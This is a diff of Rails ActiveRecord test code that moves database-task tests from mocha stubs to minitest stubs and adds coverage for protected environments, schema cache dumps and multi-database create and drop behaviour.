+      ActiveRecord::Base.configurations = old_configurations
+      ActiveRecord::Tasks::DatabaseTasks.env = nil
+    end
+
+    def with_stubbed_configurations_establish_connection(&block)
+      with_stubbed_configurations do
+        # To refrain from connecting to a newly created empty DB in
+        # sqlite3_mem tests
+        ActiveRecord::Base.connection_handler.stub(:establish_connection, nil, &block)
+      end
+    end
+
+    def config_for(env_name, name)
+      ActiveRecord::Base.configurations.configs_for(env_name: env_name, name: name)
+    end
   end
 
   ADAPTERS_TASKS = {
     mysql2:     :mysql_tasks,
+    trilogy:    :mysql_tasks,
     postgresql: :postgresql_tasks,
     sqlite3:    :sqlite_tasks
   }
 
-  class DatabaseTasksUtilsTask < ActiveRecord::TestCase
-    def test_raises_an_error_when_called_with_protected_environment
-      ActiveRecord::Migrator.stubs(:current_version).returns(1)
+  class DatabaseTasksCheckProtectedEnvironmentsTest < ActiveRecord::TestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      self.use_transactional_tests = false
 
-      protected_environments = ActiveRecord::Base.protected_environments.dup
-      current_env            = ActiveRecord::Migrator.current_environment
-      assert_not_includes protected_environments, current_env
-      # Assert no error
-      ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+      def setup
+        recreate_metadata_tables
+        @before_root = ActiveRecord::Tasks::DatabaseTasks.root = Dir.pwd
+      end
 
-      ActiveRecord::Base.protected_environments << current_env
-      assert_raise(ActiveRecord::ProtectedEnvironmentError) do
-        ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+      def teardown
+        recreate_metadata_tables
+        ActiveRecord::Tasks::DatabaseTasks.root = @before_root
+      end
+
+      def test_raises_an_error_when_called_with_protected_environment
+        protected_environments = ActiveRecord::Base.protected_environments
+        current_env            = ActiveRecord::Base.connection_pool.migration_context.current_environment
+
+        ActiveRecord::Base.connection_pool.internal_metadata[:environment] = current_env
+
+        assert_called_on_instance_of(
+          ActiveRecord::MigrationContext,
+          :current_version,
+          times: 6,
+          returns: 1
+        ) do
+          assert_not_includes protected_environments, current_env
+          # Assert no error
+          ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!("arunit")
+
+          ActiveRecord::Base.protected_environments = [current_env]
+
+          assert_raise(ActiveRecord::ProtectedEnvironmentError) do
+            ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!("arunit")
+          end
+        end
+      ensure
+        ActiveRecord::Base.protected_environments = protected_environments
+      end
+
+      def test_raises_an_error_when_called_with_protected_environment_which_name_is_a_symbol
+        protected_environments = ActiveRecord::Base.protected_environments
+        current_env            = ActiveRecord::Base.connection_pool.migration_context.current_environment
+
+        ActiveRecord::Base.connection_pool.internal_metadata[:environment] = current_env
+
+        assert_called_on_instance_of(
+          ActiveRecord::MigrationContext,
+          :current_version,
+          times: 6,
+          returns: 1
+        ) do
+          assert_not_includes protected_environments, current_env
+          # Assert no error
+          ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!("arunit")
+
+          ActiveRecord::Base.protected_environments = [current_env.to_sym]
+          assert_raise(ActiveRecord::ProtectedEnvironmentError) do
+            ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!("arunit")
+          end
+        end
+      ensure
+        ActiveRecord::Base.protected_environments = protected_environments
+      end
+
+      def test_raises_an_error_if_no_migrations_have_been_made
+        pool = ActiveRecord::Base.connection_pool
+        internal_metadata = pool.internal_metadata
+        schema_migration = pool.schema_migration
+        schema_migration.create_table
+        schema_migration.create_version("1")
+
+        assert_predicate internal_metadata, :table_exists?
+        internal_metadata.drop_table
+        assert_not_predicate internal_metadata, :table_exists?
+
+        assert_raises(ActiveRecord::NoEnvironmentInSchemaError) do
+          ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!("arunit")
+        end
+      ensure
+        pool.automatic_reconnect = true
+        schema_migration.delete_version("1")
+        internal_metadata.create_table
+      end
+
+      private
+      def recreate_metadata_tables
+        schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+        schema_migration.drop_table
+        schema_migration.create_table
+
+        internal_metadata = ActiveRecord::Base.connection_pool.internal_metadata
+        internal_metadata.drop_table
+        internal_metadata.create_table
       end
-    ensure
-      ActiveRecord::Base.protected_environments = protected_environments
     end
+  end
+
+  class DatabaseTasksCheckProtectedEnvironmentsMultiDatabaseTest < ActiveRecord::TestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      self.use_transactional_tests = false
+
+      def setup
+        @before_root = ActiveRecord::Tasks::DatabaseTasks.root = Dir.pwd
+      end
+
+      def teardown
+        ActiveRecord::Tasks::DatabaseTasks.root = @before_root
+      end
+
+      def test_with_multiple_databases
+        env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+
+        with_multi_db_configurations(env) do
+          protected_environments = ActiveRecord::Base.protected_environments
+          current_env = ActiveRecord::Base.connection_pool.migration_context.current_environment
+          assert_equal current_env, env
+
+          ActiveRecord::Base.establish_connection(:primary)
+          ActiveRecord::Base.connection_pool.internal_metadata.create_table_and_set_flags(current_env)
+
+          ActiveRecord::Base.establish_connection(:secondary)
+          ActiveRecord::Base.connection_pool.internal_metadata.create_table_and_set_flags(current_env)
+
+          assert_not_includes protected_environments, current_env
+          # Assert not raises
+          ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!(env)
 
-    def test_raises_an_error_if_no_migrations_have_been_made
-      ActiveRecord::InternalMetadata.stubs(:table_exists?).returns(false)
-      ActiveRecord::Migrator.stubs(:current_version).returns(1)
+          ActiveRecord::Base.establish_connection(:secondary)
+          pool = ActiveRecord::Base.connection_pool
+          schema_migration = pool.schema_migration
+          schema_migration.create_table
+          schema_migration.create_version("1")
 
-      assert_raise(ActiveRecord::NoEnvironmentInSchemaError) do
-        ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!
+          ActiveRecord::Base.protected_environments = [current_env.to_sym]
+
+          assert_raise(ActiveRecord::ProtectedEnvironmentError) do
+            ActiveRecord::Tasks::DatabaseTasks.check_protected_environments!(env)
+          end
+        ensure
+          ActiveRecord::Base.protected_environments = protected_environments
+        end
       end
+
+      private
+        def with_multi_db_configurations(env)
+          old_configurations = ActiveRecord::Base.configurations
+          ActiveRecord::Base.configurations = {
+            env => {
+              primary: {
+                adapter: "sqlite3",
+                database: "test/fixtures/fixture_database.sqlite3",
+              },
+              secondary: {
+                adapter: "sqlite3",
+                database: "test/fixtures/fixture_database_2.sqlite3",
+              }
+            }
+          }
+
+          ActiveRecord::Base.establish_connection(:primary)
+          yield
+        ensure
+          [:primary, :secondary].each do |db|
+            ActiveRecord::Base.establish_connection(db)
+            ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions
+            ActiveRecord::Base.connection_pool.internal_metadata.delete_all_entries
+          end
+          ActiveRecord::Base.configurations = old_configurations
+          ActiveRecord::Base.establish_connection(:arunit)
+        end
     end
   end
 
   class DatabaseTasksRegisterTask < ActiveRecord::TestCase
+    setup do
+      @tasks_was = ActiveRecord::Tasks::DatabaseTasks.instance_variable_get(:@tasks).dup
+      @adapters_was = ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).dup
+    end
+
+    teardown do
+      ActiveRecord::Tasks::DatabaseTasks.instance_variable_set(:@tasks, @tasks_was)
+      ActiveRecord::ConnectionAdapters.instance_variable_set(:@adapters, @adapters_was)
+    end
+
     def test_register_task
       klazz = Class.new do
         def initialize(*arguments); end
@@ -60,16 +272,33 @@ def structure_dump(filename); end
       end
       instance = klazz.new
 
-      klazz.stubs(:new).returns instance
-      instance.expects(:structure_dump).with("awesome-file.sql", nil)
+      klazz.stub(:new, instance) do
+        assert_called_with(instance, :structure_dump, ["awesome-file.sql", nil]) do
+          ActiveRecord::Tasks::DatabaseTasks.register_task(/abstract/, klazz)
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => "abstract" }, "awesome-file.sql")
+        end
+      end
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.register_task(/foo/, klazz)
-      ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => :foo }, "awesome-file.sql")
+    def test_register_task_precedence
+      klazz = Class.new do
+        def initialize(*arguments); end
+        def structure_dump(filename); end
+      end
+      instance = klazz.new
+
+      klazz.stub(:new, instance) do
+        assert_called_with(instance, :structure_dump, ["awesome-file.sql", nil]) do
+          ActiveRecord::ConnectionAdapters.register("custom_mysql", "ActiveRecord::ConnectionAdapters::Mysql2Adapter", "active_record/connection_adapters/mysql2_adapter")
+          ActiveRecord::Tasks::DatabaseTasks.register_task(/custom_mysql/, klazz)
+          ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => :custom_mysql }, "awesome-file.sql")
+        end
+      end
     end
 
     def test_unregistered_task
       assert_raise(ActiveRecord::Tasks::DatabaseNotSupported) do
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => :bar }, "awesome-file.sql")
+        ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => "abstract" }, "awesome-file.sql")
       end
     end
   end
@@ -79,136 +308,477 @@ class DatabaseTasksCreateTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_create") do
-        eval("@#{v}").expects(:create)
-        ActiveRecord::Tasks::DatabaseTasks.create "adapter" => k
+        with_stubbed_new do
+          assert_called(eval("@#{v}"), :create) do
+            ActiveRecord::Tasks::DatabaseTasks.create "adapter" => k
+          end
+        end
       end
     end
   end
 
   class DatabaseTasksDumpSchemaCacheTest < ActiveRecord::TestCase
     def test_dump_schema_cache
-      path = "/tmp/my_schema_cache.yml"
-      ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.connection, path)
-      assert File.file?(path)
+      Dir.mktmpdir do |dir|
+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do
+          path = File.join(dir, "schema_cache.yml")
+          assert_not File.file?(path)
+          ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.lease_connection, path)
+          assert File.file?(path)
+        end
+      end
     ensure
-      FileUtils.rm_rf(path)
+      ActiveRecord::Base.clear_cache!
+    end
+
+    def test_clear_schema_cache
+      Dir.mktmpdir do |dir|
+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do
+          path = File.join(dir, "schema_cache.yml")
+          File.open(path, "wb") do |f|
+            f.puts "This is a cache."
+          end
+          assert File.file?(path)
+          ActiveRecord::Tasks::DatabaseTasks.clear_schema_cache(path)
+          assert_not File.file?(path)
+        end
+      end
+    end
+
+    def test_cache_dump_default_filename
+      config = DatabaseConfigurations::HashConfig.new("development", "primary", {})
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        path = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(config)
+        assert_equal "db/schema_cache.yml", path
+      end
+    end
+
+    def test_cache_dump_default_filename_with_custom_db_dir
+      config = DatabaseConfigurations::HashConfig.new("development", "primary", {})
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "my_db") do
+        path = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(config)
+        assert_equal "my_db/schema_cache.yml", path
+      end
+    end
+
+    def test_cache_dump_alternate_filename
+      config = DatabaseConfigurations::HashConfig.new("development", "alternate", {})
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        path = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(config)
+        assert_equal "db/alternate_schema_cache.yml", path
+      end
+    end
+
+    def test_cache_dump_filename_with_path_from_db_config
+      config = DatabaseConfigurations::HashConfig.new("development", "primary", { schema_cache_path:  "tmp/something.yml" })
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        path = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(config)
+        assert_equal "tmp/something.yml", path
+      end
+    end
+
+
+    def test_cache_dump_filename_with_path_from_the_argument_has_precedence
+      config = DatabaseConfigurations::HashConfig.new("development", "primary", { schema_cache_path:  "tmp/something.yml" })
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        path = ActiveRecord::Tasks::DatabaseTasks.cache_dump_filename(config, schema_cache_path: "tmp/another.yml")
+        assert_equal "tmp/another.yml", path
+      end
+    end
+  end
+
+  class DatabaseTasksDumpSchemaTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
+    def test_ensure_db_dir
+      Dir.mktmpdir do |dir|
+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do
+          updated_hash = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash.merge(schema_dump: "fake_db_config_schema.rb")
+          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", updated_hash)
+          path = "#{dir}/fake_db_config_schema.rb"
+
+          FileUtils.rm_rf(dir)
+          assert_not File.file?(path)
+
+          ActiveRecord::Base.connection_handler.stub(:establish_connection, nil) do
+            ActiveRecord::SchemaDumper.stub(:dump, "") do # Do not actually dump for test performances
+              ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config)
+            end
+          end
+
+          assert File.file?(path)
+        end
+      end
+    ensure
+      ActiveRecord::Base.clear_cache!
+    end
+
+    def test_db_dir_ignored_if_included_in_schema_dump
+      Dir.mktmpdir do |dir|
+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, dir) do
+          updated_hash = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").configuration_hash.merge(schema_dump: "#{dir}/fake_db_config_schema.rb")
+          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", updated_hash)
+          path = "#{dir}/fake_db_config_schema.rb"
+
+          FileUtils.rm_rf(dir)
+          assert_not File.file?(path)
+
+          ActiveRecord::Base.connection_handler.stub(:establish_connection, nil) do
+            ActiveRecord::SchemaDumper.stub(:dump, "") do # Do not actually dump for test performances
+              ActiveRecord::Tasks::DatabaseTasks.dump_schema(db_config)
+            end
+          end
+
+          assert File.file?(path)
+        end
+      end
+    ensure
+      ActiveRecord::Base.clear_cache!
+    end
+
+    def test_dump_all_only_dumps_same_schema_once
+      counter = 0
+
+      configurations = {
+        "test" => {
+          primary: {
+            schema_dump: "structure.sql",
+          },
+          secondary: {
+            schema_dump: "structure.sql",
+          }
+        }
+      }
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/db") do
+        with_stubbed_configurations(configurations) do
+          ActiveRecord::Tasks::DatabaseTasks.stub(:dump_schema, proc { counter += 1 }) do
+            ActiveRecord::Tasks::DatabaseTasks.dump_all
+          end
+        end
+      end
+      assert_equal 1, counter
+    end
+
+    def test_dump_all_handles_path_normalization_for_deduplication
+      counter = 0
+
+      configurations = {
+        "test" => {
+          primary: {
+            schema_dump: "structure.sql",
+          },
+          secondary: {
+            schema_dump: "db/structure.sql",
+          }
+        }
+      }
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        with_stubbed_configurations(configurations) do
+          ActiveRecord::Tasks::DatabaseTasks.stub(:dump_schema, proc { counter += 1 }) do
+            ActiveRecord::Tasks::DatabaseTasks.dump_all
+          end
+        end
+      end
+      assert_equal 1, counter
     end
   end
 
   class DatabaseTasksCreateAllTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
     def setup
-      @configurations = { "development" => { "database" => "my-db" } }
+      @configurations = { "development" => { "adapter" => "abstract", "database" => "my-db" } }
 
-      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
-      # To refrain from connecting to a newly created empty DB in sqlite3_mem tests
-      ActiveRecord::Base.connection_handler.stubs(:establish_connection)
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
     end
 
-    def test_ignores_configurations_without_databases
-      @configurations["development"].merge!("database" => nil)
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+    def test_ignores_configurations_without_databases
+      @configurations["development"]["database"] = nil
 
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+      with_stubbed_configurations_establish_connection do
+        assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
+          ActiveRecord::Tasks::DatabaseTasks.create_all
+        end
+      end
     end
 
     def test_ignores_remote_databases
-      @configurations["development"].merge!("host" => "my.server.tld")
-      $stderr.stubs(:puts).returns(nil)
-
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).never
+      @configurations["development"]["host"] = "my.server.tld"
 
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+      with_stubbed_configurations_establish_connection do
+        assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
+          ActiveRecord::Tasks::DatabaseTasks.create_all
+        end
+      end
     end
 
     def test_warning_for_remote_databases
-      @configurations["development"].merge!("host" => "my.server.tld")
+      @configurations["development"]["host"] = "my.server.tld"
 
-      $stderr.expects(:puts).with("This task only modifies local databases. my-db is on a remote host.")
+      with_stubbed_configurations_establish_connection do
+        ActiveRecord::Tasks::DatabaseTasks.create_all
 
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+        assert_match "This task only modifies local databases. my-db is on a remote host.",
+          $stderr.string
+      end
     end
 
     def test_creates_configurations_with_local_ip
-      @configurations["development"].merge!("host" => "127.0.0.1")
+      @configurations["development"]["host"] = "127.0.0.1"
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
-
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+      with_stubbed_configurations_establish_connection do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
+          ActiveRecord::Tasks::DatabaseTasks.create_all
+        end
+      end
     end
 
     def test_creates_configurations_with_local_host
-      @configurations["development"].merge!("host" => "localhost")
-
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+      @configurations["development"]["host"] = "localhost"
 
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+      with_stubbed_configurations_establish_connection do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
+          ActiveRecord::Tasks::DatabaseTasks.create_all
+        end
+      end
     end
 
     def test_creates_configurations_with_blank_hosts
-      @configurations["development"].merge!("host" => nil)
-
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create)
+      @configurations["development"]["host"] = nil
 
-      ActiveRecord::Tasks::DatabaseTasks.create_all
+      with_stubbed_configurations_establish_connection do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :create) do
+          ActiveRecord::Tasks::DatabaseTasks.create_all
+        end
+      end
     end
   end
 
   class DatabaseTasksCreateCurrentTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
     def setup
       @configurations = {
-        "development" => { "database" => "dev-db" },
-        "test"        => { "database" => "test-db" },
-        "production"  => { "database" => "prod-db" }
+        "development" => { "adapter" => "abstract", "database" => "dev-db" },
+        "test"        => { "adapter" => "abstract", "database" => "test-db" },
+        "production"  => { "url" => "abstract://prod-db-host/prod-db" }
       }
-
-      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
-      ActiveRecord::Base.stubs(:establish_connection).returns(true)
     end
 
     def test_creates_current_environment_database
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
-        with("database" => "prod-db")
+      with_stubbed_configurations_establish_connection do
+        assert_called_with(
+          ActiveRecord::Tasks::DatabaseTasks,
+          :create,
+          [config_for("test", "primary")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("test")
+          )
+        end
+      end
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.create_current(
-        ActiveSupport::StringInquirer.new("production")
-      )
+    def test_creates_current_environment_database_with_url
+      with_stubbed_configurations_establish_connection do
+        assert_called_with(
+          ActiveRecord::Tasks::DatabaseTasks,
+          :create,
+          [config_for("production", "primary")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("production")
+          )
+        end
+      end
     end
 
     def test_creates_test_and_development_databases_when_env_was_not_specified
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
-        with("database" => "dev-db")
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
-        with("database" => "test-db")
-
-      ActiveRecord::Tasks::DatabaseTasks.create_current(
-        ActiveSupport::StringInquirer.new("development")
-      )
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("development", "primary")],
+            [config_for("test", "primary")]
+          ],
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
     end
 
     def test_creates_test_and_development_databases_when_rails_env_is_development
       old_env = ENV["RAILS_ENV"]
       ENV["RAILS_ENV"] = "development"
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
-        with("database" => "dev-db")
-      ActiveRecord::Tasks::DatabaseTasks.expects(:create).
-        with("database" => "test-db")
 
-      ActiveRecord::Tasks::DatabaseTasks.create_current(
-        ActiveSupport::StringInquirer.new("development")
-      )
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("development", "primary")],
+            [config_for("test", "primary")]
+          ],
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+
+    def test_creates_development_database_without_test_database_when_skip_test_database
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+      ENV["SKIP_TEST_DATABASE"] = "true"
+
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("development", "primary")]
+          ],
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
     ensure
       ENV["RAILS_ENV"] = old_env
+      ENV.delete("SKIP_TEST_DATABASE")
     end
 
-    def test_establishes_connection_for_the_given_environment
-      ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
+    def test_establishes_connection_for_the_given_environments
+      ActiveRecord::Tasks::DatabaseTasks.stub(:create, nil) do
+        assert_called_with(ActiveRecord::Base, :establish_connection, [:development]) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    end
+  end
 
-      ActiveRecord::Base.expects(:establish_connection).with(:development)
+  class DatabaseTasksCreateCurrentThreeTierTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
 
-      ActiveRecord::Tasks::DatabaseTasks.create_current(
-        ActiveSupport::StringInquirer.new("development")
-      )
+    def setup
+      @configurations = {
+        "development" => {
+          "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+        },
+        "test" => {
+          "primary" => { "adapter" => "abstract", "database" => "test-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-test-db" },
+        },
+        "production" => {
+          "primary" => { "url" => "abstract://prod-db-host/prod-db" },
+          "secondary" => { "url" => "abstract://secondary-prod-db-host/secondary-prod-db" } }
+      }
+    end
+
+    def test_creates_current_environment_database
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("test")
+          )
+        end
+      end
+    end
+
+    def test_creates_current_environment_database_with_url
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("production", "primary")],
+            [config_for("production", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("production")
+          )
+        end
+      end
+    end
+
+    def test_creates_test_and_development_databases_when_env_was_not_specified
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")],
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    end
+
+    def test_creates_test_and_development_databases_when_rails_env_is_development
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+
+      with_stubbed_configurations_establish_connection do
+        assert_called_for_configs(
+          :create,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")],
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+
+    def test_establishes_connection_for_the_given_environments_config
+      ActiveRecord::Tasks::DatabaseTasks.stub(:create, nil) do
+        assert_called_with(
+          ActiveRecord::Base,
+          :establish_connection,
+          [:development]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.create_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
     end
   end
 
@@ -217,142 +787,473 @@ class DatabaseTasksDropTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_drop") do
-        eval("@#{v}").expects(:drop)
-        ActiveRecord::Tasks::DatabaseTasks.drop "adapter" => k
+        with_stubbed_new do
+          assert_called(eval("@#{v}"), :drop) do
+            ActiveRecord::Tasks::DatabaseTasks.drop "adapter" => k
+          end
+        end
       end
     end
   end
 
   class DatabaseTasksDropAllTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
     def setup
-      @configurations = { development: { "database" => "my-db" } }
+      @configurations = { development: { "adapter" => "abstract", "database" => "my-db" } }
 
-      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
+      $stdout, @original_stdout = StringIO.new, $stdout
+      $stderr, @original_stderr = StringIO.new, $stderr
     end
 
-    def test_ignores_configurations_without_databases
-      @configurations[:development].merge!("database" => nil)
+    def teardown
+      $stdout, $stderr = @original_stdout, @original_stderr
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
+    def test_ignores_configurations_without_databases
+      @configurations[:development]["database"] = nil
 
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+      with_stubbed_configurations do
+        assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_all
+        end
+      end
     end
 
     def test_ignores_remote_databases
-      @configurations[:development].merge!("host" => "my.server.tld")
-      $stderr.stubs(:puts).returns(nil)
+      @configurations[:development]["host"] = "my.server.tld"
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).never
-
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+      with_stubbed_configurations do
+        assert_not_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_all
+        end
+      end
     end
 
     def test_warning_for_remote_databases
-      @configurations[:development].merge!("host" => "my.server.tld")
+      @configurations[:development]["host"] = "my.server.tld"
 
-      $stderr.expects(:puts).with("This task only modifies local databases. my-db is on a remote host.")
+      with_stubbed_configurations do
+        ActiveRecord::Tasks::DatabaseTasks.drop_all
 
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+        assert_match "This task only modifies local databases. my-db is on a remote host.",
+          $stderr.string
+      end
     end
 
     def test_drops_configurations_with_local_ip
-      @configurations[:development].merge!("host" => "127.0.0.1")
-
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+      @configurations[:development]["host"] = "127.0.0.1"
 
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+      with_stubbed_configurations do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_all
+        end
+      end
     end
 
     def test_drops_configurations_with_local_host
-      @configurations[:development].merge!("host" => "localhost")
+      @configurations[:development]["host"] = "localhost"
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
-
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+      with_stubbed_configurations do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_all
+        end
+      end
     end
 
     def test_drops_configurations_with_blank_hosts
-      @configurations[:development].merge!("host" => nil)
-
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
+      @configurations[:development]["host"] = nil
 
-      ActiveRecord::Tasks::DatabaseTasks.drop_all
+      with_stubbed_configurations do
+        assert_called(ActiveRecord::Tasks::DatabaseTasks, :drop) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_all
+        end
+      end
     end
   end
 
   class DatabaseTasksDropCurrentTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
     def setup
       @configurations = {
-        "development" => { "database" => "dev-db" },
-        "test"        => { "database" => "test-db" },
-        "production"  => { "database" => "prod-db" }
+        "development" => { "adapter" => "abstract", "database" => "dev-db" },
+        "test"        => { "adapter" => "abstract", "database" => "test-db" },
+        "production"  => { "url" => "abstract://prod-db-host/prod-db" }
       }
-
-      ActiveRecord::Base.stubs(:configurations).returns(@configurations)
     end
 
     def test_drops_current_environment_database
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
-        with("database" => "prod-db")
+      with_stubbed_configurations do
+        assert_called_with(
+          ActiveRecord::Tasks::DatabaseTasks,
+          :drop,
+          [config_for("test", "primary")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("test")
+          )
+        end
+      end
+    end
 
